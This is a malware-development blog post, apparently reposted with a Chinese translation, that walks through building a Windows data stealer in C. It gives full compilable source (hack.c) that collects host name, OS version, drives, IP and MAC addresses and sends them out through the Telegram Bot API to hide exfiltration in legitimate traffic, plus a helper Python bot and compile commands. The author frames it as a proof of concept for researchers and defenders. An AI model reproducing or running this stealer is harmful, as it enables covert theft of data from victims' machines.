Malware development trick 40: Stealing data via legit Telegram API. Simple C example.
Hello, cybersecurity enthusiasts and white hackers!
您好,网络安全爱好者和白人黑客!
In one of my last presentations at the conference BSides Prishtina, the audience asked how attackers use legitimate services to manage viruses (C2) or steal data from the victim’s host.
在我在 BSides Prishtina 会议上的最后一次演讲中,观众询问攻击者如何使用合法服务来管理病毒 (C2) 或从受害者的主机窃取数据。
This post is just showing simple Proof of Concept of using Telegram Bot API for stealing information from Windows host.
这篇文章只是展示了使用 Telegram Bot API 从 Windows 主机窃取信息的简单概念证明。
practical example 实例Permalink
Let’s imagine that we want to create a simple stealer that will send us data about the victim’s host. Something simple like systeminfo and adapter info:
让我们想象一下,我们想要创建一个简单的窃取程序,它将向我们发送有关受害者主机的数据。一些简单的东西,如systeminfo和adapter info:
char systemInfo[4096];
// get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR
// get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// get logical drive information
DWORD drives = GetLogicalDrives();
// get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n" // Use %s for CHAR
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
But, if we send such information to some IP address it will seem strange and suspicious.
但是,如果我们将此类信息发送到某个 IP 地址,它会显得奇怪和可疑。
What if instead you create a telegram bot and send information using it to us?
相反,如果您创建一个电报机器人并使用它向我们发送信息怎么办?
First of all, create simple telegram bot:
首先,创建简单的电报机器人:
As you can see, we can use HTTP API for conversation with this bot.
如您所见,我们可以使用 HTTP API 与此机器人进行对话。
At the next step install telegram library for python:
在下一步中,安装适用于 python 的电报库:
python3 -m pip install python-telegram-bot
Then, I slightly modified a simple script: echo bot – mybot.py
:
然后,我稍微修改了一个简单的脚本:echo bot – mybot.py
:
#!/usr/bin/env python
# pylint: disable=unused-argument
# This program is dedicated to the public domain under the CC0 license.
"""
Simple Bot to reply to Telegram messages.
First, a few handler functions are defined. Then, those functions are passed to
the Application and registered at their respective places.
Then, the bot is started and runs until we press Ctrl-C on the command line.
Usage:
Basic Echobot example, repeats messages.
Press Ctrl-C on the command line or send a signal to the process to stop the
bot.
"""
import logging
from telegram import ForceReply, Update
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters
# Enable logging
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
# set higher logging level for httpx to avoid all GET and POST requests being logged
logging.getLogger("httpx").setLevel(logging.WARNING)
logger = logging.getLogger(__name__)
# Define a few command handlers. These usually take the two arguments update and
# context.
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /start is issued."""
user = update.effective_user
await update.message.reply_html(
rf"Hi {user.mention_html()}!",
reply_markup=ForceReply(selective=True),
)
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /help is issued."""
await update.message.reply_text("Help!")
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)
def main() -> None:
"""Start the bot."""
# Create the Application and pass it your bot's token.
application = Application.builder().token("my token here").build()
# on different commands - answer in Telegram
application.add_handler(CommandHandler("start", start))
application.add_handler(CommandHandler("help", help_command))
# on non command i.e message - echo the message on Telegram
application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))
# Run the bot until the user presses Ctrl-C
application.run_polling(allowed_updates=Update.ALL_TYPES)
if __name__ == "__main__":
main()
As you can see, I added printing chat ID logic:
如您所见,我添加了打印聊天 ID 逻辑:
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)
Let’s check this simple logic:
让我们检查一下这个简单的逻辑:
python3 mybot.py
As you can see, chat ID
successfully printed.
如您所见, chat ID
打印成功。
For sending via Telegram Bot API I just created this simple function:
为了通过 Telegram Bot API 发送,我刚刚创建了这个简单的函数:
// send data to Telegram channel using winhttp
int sendToTgBot(const char* message) {
const char* chatId = "466662506";
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot---xxxxxxxxYOUR_TOKEN_HERExxxxxx---/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
// construct the request body
char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);
// set the headers
if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n", -1, requestBody, strlen(requestBody), strlen(requestBody), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);
printf("successfully sent to tg bot :)\n");
return 0;
}
So the full source code is looks like this – hack.c
:
所以完整的源代码是这样的—— hack.c
:
/*
* hack.c
* sending victim's systeminfo via
* legit URL: Telegram Bot API
* author @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
// send data to Telegram channel using winhttp
int sendToTgBot(const char* message) {
const char* chatId = "466662506";
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot----TOKEN----/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
// construct the request body
char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);
// set the headers
if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n", -1, requestBody, strlen(requestBody), strlen(requestBody), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);
printf("successfully sent to tg bot :)\n");
return 0;
}
// get systeminfo and send to chat via tgbot logic
int main(int argc, char* argv[]) {
// test tgbot sending message
char test[1024];
const char* message = "meow-meow";
snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
sendToTgBot(test);
char systemInfo[4096];
// Get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR
// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// Get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// Get logical drive information
DWORD drives = GetLogicalDrives();
// Get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n" // Use %s for CHAR
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
char info[8196];
snprintf(info, sizeof(info), "{\"text\":\"%s\"}", systemInfo);
int result = sendToTgBot(info);
if (result == 0) {
printf("ok =^..^=\n");
} else {
printf("nok <3()~\n");
}
return 0;
}
demo 演示Permalink
Let’s check everything in action.
让我们检查一下一切。
Compile our “stealer” hack.c
:
编译我们的“窃取者” hack.c
:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp
And run it on my Windows 11 VM:
并在我的 Windows 11 VM 上运行它:
.\hack.exe
If we check traffic via Wireshark we got IP address 149.154.167.220
:
如果我们通过 Wireshark 检查流量,我们得到 IP 地址 149.154.167.220
:
whois 149.154.167.220
As you can see, everything is worked perfectly =^..^=!
如您所见,一切都完美无缺=^.。^=!
Scanning via WebSec Malware Scanner:
通过 WebSec 恶意软件扫描程序进行扫描:
https://websec.nl/en/scanner/result/45dfcb29-3817-4199-a6ef-da00675c6c32
Interesting result. 有趣的结果。
Of course, this is not such a complex stealer, because it’s just “dirty PoC” and in real attacks stealers with more sophisticated logic are used, but I think I was able to show the essence and risks.
当然,这不是一个复杂的窃取程序,因为它只是“肮脏的 PoC”,并且在实际攻击中使用了逻辑更复杂的窃取程序,但我认为我能够展示本质和风险。
I hope this post with practical example is useful for malware researchers, red teamers, spreads awareness to the blue teamers of this interesting technique.
我希望这篇带有实际示例的帖子对恶意软件研究人员、红队队员有用,并向蓝队队员传播这种有趣技术的认识。
Telegram Bot API
电报机器人 API
https://github.com/python-telegram-bot/python-telegram-bot
WebSec Malware Scanner
WebSec 恶意软件扫描程序
source code in github
GitHub 中的源代码
This is a practical case for educational purposes only.
这是一个仅用于教育目的的实际案例。
Thanks for your time happy hacking and good bye!
感谢您抽出宝贵时间,祝您黑客愉快,再见!
PS. All drawings and screenshots are mine
所有图纸和截图都是我的
原文始发于cocomelonc:Malware development trick 40: Stealing data via legit Telegram API. Simple C example.
转载请注明:Malware development trick 40: Stealing data via legit Telegram API. Simple C example. | CTF导航